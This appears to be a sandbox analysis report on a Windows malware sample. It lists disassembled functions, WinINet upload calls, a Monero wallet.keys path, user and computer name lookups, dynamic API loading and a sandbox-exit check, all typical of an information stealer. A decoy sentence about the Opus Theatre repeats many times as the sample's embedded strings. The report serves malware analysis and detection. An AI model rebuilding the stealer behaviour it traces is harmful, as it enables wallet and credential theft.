The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB46CD

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 16420cbbf35280daa98b6e8537a1929d84bf6347a5ea07b8be9770cfc61bd0ec
Instruction ID: f352a9f2d6fbfc68fef9185d3784658e73bbe4d6f593df1b633409bf0db49a3c
Opcode Fuzzy Hash: 16420cbbf35280daa98b6e8537a1929d84bf6347a5ea07b8be9770cfc61bd0ec
Instruction Fuzzy Hash: 2A41E5647C5704EAC66CB7A5884DEDD7B57DFC6F01F68508FA80B52380CA70B900E5A7

Function 00FB4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FB4839
Part of subcall function 00FB47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FB4849

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00FB4915
StrCmpCA.SHLWAPI(?,00DEEA08), ref: 00FB493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FB4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00FD0DDB,00000000,?,?,00000000,?,",00000000,?,00DEEAD8), ref: 00FB4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00FB4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00FB4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00FB4E49
InternetCloseHandle.WININET(00000000), ref: 00FB4EAD
InternetCloseHandle.WININET(00000000), ref: 00FB4EC5
HttpOpenRequestA.WININET(00000000,00DEEA18,?,00DEE100,00000000,00000000,00400100,00000000), ref: 00FB4B15

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

InternetCloseHandle.WININET(00000000), ref: 00FB4ECF

Strings

------, xrefs: 00FB4C69
------, xrefs: 00FB4B28
", xrefs: 00FB4BF2
", xrefs: 00FB4D33
------, xrefs: 00FB49BD

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: f5e6772ec4fc7a2796d0bd9b1e5894cb93b83282cf1f1caf070ed9e52df898e0
Instruction ID: dfb2a0ccbbdf62885b74c7e1170082abc22beb138812785f59f82f3f22803364
Opcode Fuzzy Hash: f5e6772ec4fc7a2796d0bd9b1e5894cb93b83282cf1f1caf070ed9e52df898e0
Instruction Fuzzy Hash: A812E47291011DAADB18EB90DE93FEEB339AF14304F5041ADB10662491EF787E49DB62

Function 00FC78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FC7910
RtlAllocateHeap.NTDLL(00000000), ref: 00FC7917
GetComputerNameA.KERNEL32(?,00000104), ref: 00FC792F

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 204910939c12d502d0df0fc1bbbfc31b350e1a08adb8f1b32ca04bafa2213fbf
Instruction ID: 13446c0e512c48c067a3abf7bb95c2dbcd8046fc60212a4a61287b2e28cfc113
Opcode Fuzzy Hash: 204910939c12d502d0df0fc1bbbfc31b350e1a08adb8f1b32ca04bafa2213fbf
Instruction Fuzzy Hash: 930162B1904205EFC714DF95D946FAEBBB8FB44B21F10422EE555A3680C77959408BA1

Function 00FC7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FB11B7), ref: 00FC7880
RtlAllocateHeap.NTDLL(00000000), ref: 00FC7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00FC789F

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: a50fbea8f942e7dd736a9b85938afde8b33249938cc435cbc9517f30b3ca4f9d
Instruction ID: 7e7c080114c452236dc700b67ad7df230b750478a740a67b3e8661db04a19792
Opcode Fuzzy Hash: a50fbea8f942e7dd736a9b85938afde8b33249938cc435cbc9517f30b3ca4f9d
Instruction Fuzzy Hash: D4F0A4B1904209AFC714DF84D946FAEBBB8FB04711F10022DF615A3680C77815448BA1

Function 00FB1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00FB116A
ExitProcess.KERNEL32 ref: 00FB117E

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0011fb4f2055730ef30bc980c491acba2c743a7ad7d8eb2e3ce60421f6d509d4
Instruction ID: 0e1ca9d6ee6f7413b388f95b2c99b4b16f1ff373fcd018a324f0db53abb1d830
Opcode Fuzzy Hash: 0011fb4f2055730ef30bc980c491acba2c743a7ad7d8eb2e3ce60421f6d509d4
Instruction Fuzzy Hash: 83D017749002089BCB149AA0A849ADDBB78FB08211F000668D90A62240EA3164828BA5

Function 00FC9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,00DD6090), ref: 00FC9C2D
GetProcAddress.KERNEL32(77190000,00DD5F70), ref: 00FC9C45
GetProcAddress.KERNEL32(77190000,00DE95A8), ref: 00FC9C5E
GetProcAddress.KERNEL32(77190000,00DE9608), ref: 00FC9C76
GetProcAddress.KERNEL32(77190000,00DE95F0), ref: 00FC9C8E
GetProcAddress.KERNEL32(77190000,00DE9A28), ref: 00FC9CA7
GetProcAddress.KERNEL32(77190000,00DDA968), ref: 00FC9CBF
GetProcAddress.KERNEL32(77190000,00DE99C8), ref: 00FC9CD7
GetProcAddress.KERNEL32(77190000,00DE9B60), ref: 00FC9CF0
GetProcAddress.KERNEL32(77190000,00DE9A58), ref: 00FC9D08
GetProcAddress.KERNEL32(77190000,00DE99E0), ref: 00FC9D20
GetProcAddress.KERNEL32(77190000,00DD5F30), ref: 00FC9D39
GetProcAddress.KERNEL32(77190000,00DD5F90), ref: 00FC9D51
GetProcAddress.KERNEL32(77190000,00DD6290), ref: 00FC9D69
GetProcAddress.KERNEL32(77190000,00DD60D0), ref: 00FC9D82
GetProcAddress.KERNEL32(77190000,00DE99B0), ref: 00FC9D9A
GetProcAddress.KERNEL32(77190000,00DE9B78), ref: 00FC9DB2
GetProcAddress.KERNEL32(77190000,00DDAD78), ref: 00FC9DCB
GetProcAddress.KERNEL32(77190000,00DD60F0), ref: 00FC9DE3
GetProcAddress.KERNEL32(77190000,00DE9AB8), ref: 00FC9DFB
GetProcAddress.KERNEL32(77190000,00DE9AA0), ref: 00FC9E14
GetProcAddress.KERNEL32(77190000,00DE9AD0), ref: 00FC9E2C
GetProcAddress.KERNEL32(77190000,00DE9A40), ref: 00FC9E44
GetProcAddress.KERNEL32(77190000,00DD61D0), ref: 00FC9E5D
GetProcAddress.KERNEL32(77190000,00DE9AE8), ref: 00FC9E75
GetProcAddress.KERNEL32(77190000,00DE99F8), ref: 00FC9E8D
GetProcAddress.KERNEL32(77190000,00DE9B30), ref: 00FC9EA6
GetProcAddress.KERNEL32(77190000,00DE9A10), ref: 00FC9EBE
GetProcAddress.KERNEL32(77190000,00DE9A70), ref: 00FC9ED6
GetProcAddress.KERNEL32(77190000,00DE9A88), ref: 00FC9EEF
GetProcAddress.KERNEL32(77190000,00DE9B00), ref: 00FC9F07
GetProcAddress.KERNEL32(77190000,00DE9B18), ref: 00FC9F1F
GetProcAddress.KERNEL32(77190000,00DE9B48), ref: 00FC9F38
GetProcAddress.KERNEL32(77190000,00DE04C8), ref: 00FC9F50
GetProcAddress.KERNEL32(77190000,00DEC258), ref: 00FC9F68
GetProcAddress.KERNEL32(77190000,00DEC300), ref: 00FC9F81
GetProcAddress.KERNEL32(77190000,00DD61F0), ref: 00FC9F99
GetProcAddress.KERNEL32(77190000,00DEC348), ref: 00FC9FB1
GetProcAddress.KERNEL32(77190000,00DD6230), ref: 00FC9FCA
GetProcAddress.KERNEL32(77190000,00DEC3D8), ref: 00FC9FE2
GetProcAddress.KERNEL32(77190000,00DEC378), ref: 00FC9FFA
GetProcAddress.KERNEL32(77190000,00DD6270), ref: 00FCA013
GetProcAddress.KERNEL32(77190000,00DD62B0), ref: 00FCA02B
LoadLibraryA.KERNEL32(00DEC270,?,00FC5CA3,00FD0AEB,?,?,?,?,?,?,?,?,?,?,00FD0AEA,00FD0AE3), ref: 00FCA03D
LoadLibraryA.KERNEL32(00DEC390,?,00FC5CA3,00FD0AEB,?,?,?,?,?,?,?,?,?,?,00FD0AEA,00FD0AE3), ref: 00FCA04E
LoadLibraryA.KERNEL32(00DEC360,?,00FC5CA3,00FD0AEB,?,?,?,?,?,?,?,?,?,?,00FD0AEA,00FD0AE3), ref: 00FCA060
LoadLibraryA.KERNEL32(00DEC2D0,?,00FC5CA3,00FD0AEB,?,?,?,?,?,?,?,?,?,?,00FD0AEA,00FD0AE3), ref: 00FCA072
LoadLibraryA.KERNEL32(00DEC3A8,?,00FC5CA3,00FD0AEB,?,?,?,?,?,?,?,?,?,?,00FD0AEA,00FD0AE3), ref: 00FCA083
LoadLibraryA.KERNEL32(00DEC318,?,00FC5CA3,00FD0AEB,?,?,?,?,?,?,?,?,?,?,00FD0AEA,00FD0AE3), ref: 00FCA095
LoadLibraryA.KERNEL32(00DEC3C0,?,00FC5CA3,00FD0AEB,?,?,?,?,?,?,?,?,?,?,00FD0AEA,00FD0AE3), ref: 00FCA0A7
LoadLibraryA.KERNEL32(00DEC210,?,00FC5CA3,00FD0AEB,?,?,?,?,?,?,?,?,?,?,00FD0AEA,00FD0AE3), ref: 00FCA0B8
GetProcAddress.KERNEL32(77040000,00DD5E30), ref: 00FCA0DA
GetProcAddress.KERNEL32(77040000,00DEC228), ref: 00FCA0F2
GetProcAddress.KERNEL32(77040000,00DE9048), ref: 00FCA10A
GetProcAddress.KERNEL32(77040000,00DEC2B8), ref: 00FCA123
GetProcAddress.KERNEL32(77040000,00DD5EB0), ref: 00FCA13B
GetProcAddress.KERNEL32(705A0000,00DDAB48), ref: 00FCA160
GetProcAddress.KERNEL32(705A0000,00DD5DD0), ref: 00FCA179
GetProcAddress.KERNEL32(705A0000,00DDAAF8), ref: 00FCA191
GetProcAddress.KERNEL32(705A0000,00DEC240), ref: 00FCA1A9
GetProcAddress.KERNEL32(705A0000,00DEC288), ref: 00FCA1C2
GetProcAddress.KERNEL32(705A0000,00DD5C90), ref: 00FCA1DA
GetProcAddress.KERNEL32(705A0000,00DD5C50), ref: 00FCA1F2
GetProcAddress.KERNEL32(705A0000,00DEC2A0), ref: 00FCA20B
GetProcAddress.KERNEL32(768D0000,00DD5DB0), ref: 00FCA22C
GetProcAddress.KERNEL32(768D0000,00DD5BD0), ref: 00FCA244
GetProcAddress.KERNEL32(768D0000,00DEC2E8), ref: 00FCA25D
GetProcAddress.KERNEL32(768D0000,00DEC330), ref: 00FCA275
GetProcAddress.KERNEL32(768D0000,00DD5D70), ref: 00FCA28D
GetProcAddress.KERNEL32(75790000,00DDAAA8), ref: 00FCA2B3
GetProcAddress.KERNEL32(75790000,00DDADA0), ref: 00FCA2CB
GetProcAddress.KERNEL32(75790000,00DEC538), ref: 00FCA2E3
GetProcAddress.KERNEL32(75790000,00DD5D90), ref: 00FCA2FC
GetProcAddress.KERNEL32(75790000,00DD5BB0), ref: 00FCA314
GetProcAddress.KERNEL32(75790000,00DDAA58), ref: 00FCA32C
GetProcAddress.KERNEL32(75A10000,00DEC490), ref: 00FCA352
GetProcAddress.KERNEL32(75A10000,00DD5D10), ref: 00FCA36A
GetProcAddress.KERNEL32(75A10000,00DE9058), ref: 00FCA382
GetProcAddress.KERNEL32(75A10000,00DEC598), ref: 00FCA39B
GetProcAddress.KERNEL32(75A10000,00DEC478), ref: 00FCA3B3
GetProcAddress.KERNEL32(75A10000,00DD5B90), ref: 00FCA3CB
GetProcAddress.KERNEL32(75A10000,00DD5ED0), ref: 00FCA3E4
GetProcAddress.KERNEL32(75A10000,00DEC508), ref: 00FCA3FC
GetProcAddress.KERNEL32(75A10000,00DEC4A8), ref: 00FCA414
GetProcAddress.KERNEL32(76850000,00DD5C30), ref: 00FCA436
GetProcAddress.KERNEL32(76850000,00DEC520), ref: 00FCA44E
GetProcAddress.KERNEL32(76850000,00DEC430), ref: 00FCA466
GetProcAddress.KERNEL32(76850000,00DEC550), ref: 00FCA47F
GetProcAddress.KERNEL32(76850000,00DEC568), ref: 00FCA497
GetProcAddress.KERNEL32(75690000,00DD5D30), ref: 00FCA4B8
GetProcAddress.KERNEL32(75690000,00DD5BF0), ref: 00FCA4D1
GetProcAddress.KERNEL32(769C0000,00DD5C10), ref: 00FCA4F2
GetProcAddress.KERNEL32(769C0000,00DEC418), ref: 00FCA50A
GetProcAddress.KERNEL32(6F8D0000,00DD5B50), ref: 00FCA530
GetProcAddress.KERNEL32(6F8D0000,00DD5B30), ref: 00FCA548
GetProcAddress.KERNEL32(6F8D0000,00DD5E50), ref: 00FCA560
GetProcAddress.KERNEL32(6F8D0000,00DEC580), ref: 00FCA579
GetProcAddress.KERNEL32(6F8D0000,00DD5C70), ref: 00FCA591
GetProcAddress.KERNEL32(6F8D0000,00DD5E70), ref: 00FCA5A9
GetProcAddress.KERNEL32(6F8D0000,00DD5DF0), ref: 00FCA5C2
GetProcAddress.KERNEL32(6F8D0000,00DD5E10), ref: 00FCA5DA
GetProcAddress.KERNEL32(6F8D0000,InternetSetOptionA), ref: 00FCA5F1
GetProcAddress.KERNEL32(6F8D0000,HttpQueryInfoA), ref: 00FCA607
GetProcAddress.KERNEL32(75D90000,00DEC5B0), ref: 00FCA629
GetProcAddress.KERNEL32(75D90000,00DE9068), ref: 00FCA641
GetProcAddress.KERNEL32(75D90000,00DEC5C8), ref: 00FCA659
GetProcAddress.KERNEL32(75D90000,00DEC5E0), ref: 00FCA672
GetProcAddress.KERNEL32(76470000,00DD5CB0), ref: 00FCA693
GetProcAddress.KERNEL32(70220000,00DEC4D8), ref: 00FCA6B4
GetProcAddress.KERNEL32(70220000,00DD5EF0), ref: 00FCA6CD
GetProcAddress.KERNEL32(70220000,00DEC4F0), ref: 00FCA6E5
GetProcAddress.KERNEL32(70220000,00DEC4C0), ref: 00FCA6FD

Strings

InternetSetOptionA, xrefs: 00FCA5E5
HttpQueryInfoA, xrefs: 00FCA5FC

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
